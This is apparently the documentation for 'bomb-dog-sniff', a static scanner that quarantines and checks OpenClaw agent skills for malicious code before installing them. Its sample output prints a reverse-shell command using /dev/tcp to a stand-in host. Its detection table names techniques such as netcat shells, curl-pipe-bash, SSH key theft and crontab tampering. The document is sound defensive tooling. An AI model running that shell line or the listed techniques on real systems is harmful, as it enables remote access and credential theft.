bomb-dog-sniff

name	bomb-dog-sniff
version	1.2.0
description	Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones.
author	OpenClaw Security Team
homepage	https://github.com/openclaw/skills/bomb-dog-sniff

bomb-dog-sniff v1.2.0 🐕

Like a bomb-sniffing dog for OpenClaw skills

Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.

What's New in v1.2.0

Security Hardening

• Fixed command injection vulnerabilities in download functions
• Added path traversal protection - Sanitizes all path inputs
• Secure quarantine - Randomized directory names with restricted permissions
• Binary file detection - Skips binary files to avoid false positives
• File size limits - Prevents DoS via huge files
• ReDoS protection - Limits regex processing on long lines

Detection Improvements

• Smart false positive reduction - Better context-aware pattern matching
• Entropy analysis - Detects encoded/encrypted payloads
• Test file awareness - Reduces severity for findings in test files
• Confidence scoring - Each finding has confidence level (high/medium/low)
• 13 detection categories - Added supply chain, prototype pollution, and malicious script detection

New Patterns

• Supply chain attack indicators (typosquatting, dynamic requires)
• Prototype pollution vulnerabilities
• Malicious npm/yarn scripts
• Browser credential theft
• SSH key theft
• Systemd persistence mechanisms

Quick Start

# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill

# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill

# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird

# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt

Commands

scan

Scan a skill directory for malicious patterns.

openclaw skill bomb-dog-sniff scan <path> [options]

Options:
  -j, --json          Output JSON only
  -v, --verbose       Show detailed findings
  -t, --threshold N   Set risk threshold (default: 40)
  -h, --help          Show help

Example:

openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json

Output:

🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill

🔴 CRITICAL (2)
──────────────────────────────────────────────────
  crypto_harvester: scripts/wallet.js:23
    Crypto wallet private key harvesting detected
    Code: const privateKey = "a1b2c3..."
    Confidence: high

  reverse_shell: scripts/backdoor.sh:5
    Reverse shell or remote code execution detected
    Code: bash -i >& /dev/tcp/192.168.1.100/4444
    Confidence: high

🟠 HIGH (1)
──────────────────────────────────────────────────
  pipe_bash: install.sh:12
    Dangerous curl | bash pattern detected
    Confidence: high

═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
☠️ Risk Score: 75/100
   Risk Level: MALICIOUS
   Duration: 125ms
   Files Scanned: 12/15
   Files Skipped: 3 (binary/empty/large)
   Findings: 3

   Severity Breakdown:
     🔴 CRITICAL: 2
     🟠 HIGH: 1

📋 Recommendation:
   MALICIOUS - Do not install. Found 3 critical security issues.

Scan ID: bds-20260208-a1b2c3d4

safe-install

Download from clawhub/GitHub, scan, and install only if safe.

openclaw skill bomb-dog-sniff safe-install <source> [options]

Source:
  - ClawHub skill name: bird
  - GitHub URL: https://github.com/user/skill
  - Local path: ./local-skill

Options:
  --threshold N   Set risk threshold (default: 39)
  --dry-run       Scan only, don't install
  --verbose       Show all findings

Example:

# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird

# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20

# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run

# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill

audit

Audit an already-installed skill.

openclaw skill bomb-dog-sniff audit <skill-name> [options]

Example:

openclaw skill bomb-dog-sniff audit notion

batch

Scan multiple skills from a list file.

openclaw skill bomb-dog-sniff batch <list-file>

Example list file (skills.txt):

# My installed skills to audit
bird
notion
gog
slack
./custom-skill

# Commented lines are ignored
# old-skill

Run:

openclaw skill bomb-dog-sniff batch skills.txt

Detection Categories

bomb-dog-sniff scans for these threat categories:

Category	Severity	Examples Detected
crypto_harvester	CRITICAL	Private key extraction, wallet exports, mnemonic theft
credential_theft	CRITICAL	Environment variable exfiltration, config file theft, SSH key theft
reverse_shell	CRITICAL	Netcat shells, /dev/tcp/ redirects, socket-based shells, eval of remote code
keylogger	CRITICAL	Keyboard capture with exfiltration, clipboard theft, password field monitoring
encoded_payload	HIGH	Base64 execution chains, hex escapes with eval context, obfuscated code
suspicious_api	HIGH	Pastebin/ngrok/webhook destinations, dynamic URL construction with secrets
pipe_bash	HIGH	curl | bash, wget | sh patterns
deposit_scam	HIGH	"Send ETH to 0x...", payment prompts in unexpected contexts
supply_chain	HIGH	Typosquatting, dynamic requires, suspicious postinstall scripts
prototype_pollution	HIGH	Dangerous object merging, __proto__ manipulation
malicious_script	CRITICAL	Pre/postinstall doing network/exec operations, modifying other packages
network_exfil	MEDIUM	File reading followed by network transmission
file_tamper	CRITICAL	.bashrc modification, crontab editing, SSH authorized_keys manipulation

Risk Scoring

0-19   SAFE        ✅ Install freely
20-39  LOW         ⚠️  Review recommended
40-69  SUSPICIOUS  🚫 Blocked by default
70-100 MALICIOUS   ☠️  Never install

Each finding adds to the score:

• CRITICAL: +25 points (× confidence multiplier)
• HIGH: +15 points (× confidence multiplier)
• MEDIUM: +5 points (× confidence multiplier)

Confidence multipliers:

• High confidence: 1.0×
• Medium confidence: 0.75×
• Low confidence: 0.5×

Score caps at 100.

How It Works

Safe Install Process

1. QUARANTINE
   └── Skill downloaded to /tmp/bds-q-<random>/
   └── Randomized, non-predictable directory name
   └── Restricted permissions (0o700)
   
2. SCAN
   ├── Check all files against detection patterns
   ├── Skip binary files, empty files, files >10MB
   ├── Calculate entropy for encoded payload detection
   ├── Apply confidence multipliers
   └── Generate findings report
   
3. DECISION
   ├── Risk > threshold? → BLOCK & DELETE
   └── Risk ≤ threshold? → PROCEED
   
4. INSTALL (if passed)
   └── Move from quarantine to skills directory
   └── Backup existing installation (max 5 backups)
   
5. CLEANUP
   └── Securely remove quarantine directory

Scanning Details

• Static analysis only - No code execution
• Multi-pattern matching - 60+ detection patterns
• Line-level reporting - Exact file:line for each finding
• False positive reduction - Context-aware pattern matching
• Binary detection - Automatically skips binary files
• Symlink loop protection - Tracks visited inodes
• Depth limiting - Max 20 directory levels
• Test file handling - Reduces severity for test files

Configuration

Environment Variables

# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills

# Set default risk threshold
export BOMB_DOG_THRESHOLD=25

Per-Skill Configuration

Add to your skill's package.json:

{
  "bomb-dog-sniff": {
    "riskThreshold": 25,
    "excludedCategories": ["network_exfil"]
  }
}

CI/CD Integration

Add to your CI pipeline:

# .github/workflows/skill-security.yml
name: Skill Security Scan

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Scan skills
        run: |
          for skill in skills/*/; do
            echo "Scanning $skill"
            node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
          done

Exit codes:

• 0 - Safe (score below threshold)
• 1 - Error/invalid arguments
• 2 - Risky (score ≥ threshold)

Programmatic API

const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');

// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);

// Safe download and install
const result = await safeDownload('cool-skill', {
  autoInstall: true,
  riskThreshold: 30,
});

if (!result.success) {
  console.error('Installation blocked:', result.reason);
}

Security Limits

To prevent DoS and ensure scanner security:

Limit	Value	Purpose
Max file size	10MB	Prevent memory exhaustion
Max line length	10KB	Prevent ReDoS attacks
Max files per scan	10,000	Prevent resource exhaustion
Max findings per file	100	Prevent output flooding
Max total findings	500	Prevent result flooding
Max directory depth	20	Prevent infinite recursion
Download timeout	2 minutes	Prevent hanging downloads
Max download size	50MB	Prevent disk exhaustion

False Positives

If legitimate code triggers a warning:

1. Check confidence level - Low confidence findings are more likely to be false positives
2. Review the excerpt - Look at the actual code flagged
3. Test files are noted - Findings in *.test.js or __tests__/ have reduced severity
4. Comments are generally skipped - Unless they contain suspicious keywords

To report false positives, please include:

• The file content that triggered the false positive
• The pattern category that matched
• Expected behavior

Best Practices

1. Always scan before installing unknown skills
2. Use --dry-run first for untrusted sources
3. Set lower threshold (--threshold 20) for critical systems
4. Audit regularly - Rescan installed skills periodically
5. Review CRITICAL findings - Never ignore critical severity warnings
6. Check confidence levels - High confidence = higher priority

Files

• SKILL.md - This documentation
• scan.js - Core scanner engine
• patterns.js - Detection pattern definitions
• safe-download.js - Safe download & install logic
• scripts/sniff.sh - CLI wrapper
• package.json - Package configuration
• QUICKSTART.md - Quick reference guide

Security Notes

⚠️ Limitations:

• Static analysis only (some obfuscation may evade detection)
• Pattern-based (novel attacks may not be detected)
• Not a replacement for manual code review on critical systems
• Cannot detect runtime-only malicious behavior

✅ Recommendations:

• Use bomb-dog-sniff as first line of defense
• Review code manually for high-security environments
• Keep patterns.js updated with new threat signatures
• Report false positives and missed detections
• Combine with other security tools for defense in depth

Changelog

v1.2.0 (Hardened Edition)

• SECURITY: Fixed command injection vulnerabilities in safe-download.js
• SECURITY: Added path traversal protection
• SECURITY: Secure randomized quarantine directories
• FEATURE: Binary file detection and skipping
• FEATURE: File size limits (10MB per file, 50MB download)
• FEATURE: Entropy analysis for encoded payload detection
• FEATURE: Confidence scoring for all findings
• FEATURE: Test file awareness with severity reduction
• FEATURE: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)
• IMPROVEMENT: Better false positive reduction with context-aware matching
• IMPROVEMENT: ReDoS protection via line length limits
• IMPROVEMENT: Symlink loop protection
• IMPROVEMENT: Backup rotation (max 5 backups)

v1.1.0

• Added safe-install command with quarantine workflow
• Added audit command for installed skills
• Added batch command for multiple skill scanning
• Enhanced detection patterns (50+ signatures)
• Added risk threshold configuration

v1.0.0

• Initial release with basic scanning
• 10 detection categories
• JSON output format

License

MIT - See LICENSE file

---

Stay safe. Scan everything. Trust verified skills only. 🦞🐕